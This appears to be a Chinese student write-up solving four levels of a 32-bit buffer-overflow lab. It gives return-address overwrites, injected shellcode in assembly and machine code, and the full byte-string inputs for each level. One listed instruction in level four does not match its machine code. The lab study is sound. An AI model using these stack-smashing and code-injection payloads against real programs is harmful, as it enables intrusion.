关键是知道栈里都放了一些什么就行
第一关
故将想要返回的地址覆盖到“返回到test的地址”上即可
故密码为:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 11 40 00
(注意小端格式)
第二关
通行密码为0X32C17CEB,将[esp+8]处修改为该值即可
依旧是覆盖“返回到test的地址”
返回后的栈为
覆盖“4个字节”为通行密码即可
故密码为:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 12 40 00 00 00 00 00 EB 7C C1 32
第三关
要修改全局变量 _global_value
eax里存的我们输入字符串的位置地址
故我们跳进eax,执行我们的机器代码即可
汇编指令:
mov eax,0x32C17CEB
mov [0x409004],eax
push 0x401250
retn
机器代码:
B8EB7CC132A3049040006850124000C3
故密码为:B8 EB 7C C1 32 A3 04 90 40 00 68 50 12 40 00 C3 74 FE 19 00
第四关
不仅要修改全局变量_global_value,还要恢复栈,很明显空间根本不够,考虑两次调用getbuf(0x401130)
第一次调用getbuf
跳进eax: 0x0019fe74
汇编指令:
sub esp,0x20
push 0x401130
ret
机器代码:
83EC206830114000C3
保持ebp的值不变:
第二次调用getbuf的栈:
汇编指令:
mov eax,0x32C17CEB
push 0x19FE70
retn
机器代码:
B8EB7CC1326870FE1900C3
其中 0x19FE70 可以通过查看栈信息找到,即存放下一个机器代码的位置
注意此时的eax值已经改变,要用已经改变的,同时依旧保持ebp的值。
保存ebp(test中的):
0x19FE70处的汇编代码:
mov ebp,0x19FE94
push 0x4012A0
ret
机器代码:
BD94FE190068A0124000C3
之后进入第四关,最后有一个retn,地址即为20字节后的四个字节,此时我要找一个新的地方,方便我缓冲区溢出成功,于是找了0x19FE80这个位置
恰好是在我输入完前面所以字符串之后的位置,故紧跟着输入我想输入的
汇编指令:
mov [0x00409004],eax
push 0x401181
retn
机器代码:
B8EB7CC1326881114000C3
输出缓冲区溢出成功的位置:0x401181
故密码为:83 EC 20 68 30 11 40 00 C3 00 00 00 94 fe 19 00 74 fe 19 00
(这里有一个换行符)
B8 EB 7C C1 32 68 70 FE 19 00 C3 00 94 fe 19 00 58 fe 19 00 80 FE 19 00 A3 04 90 40 00 BD 94 FE 19 00 68 A0 12 40 00 C3 B8 EB 7C C1 32 68 81 11 40 00 C3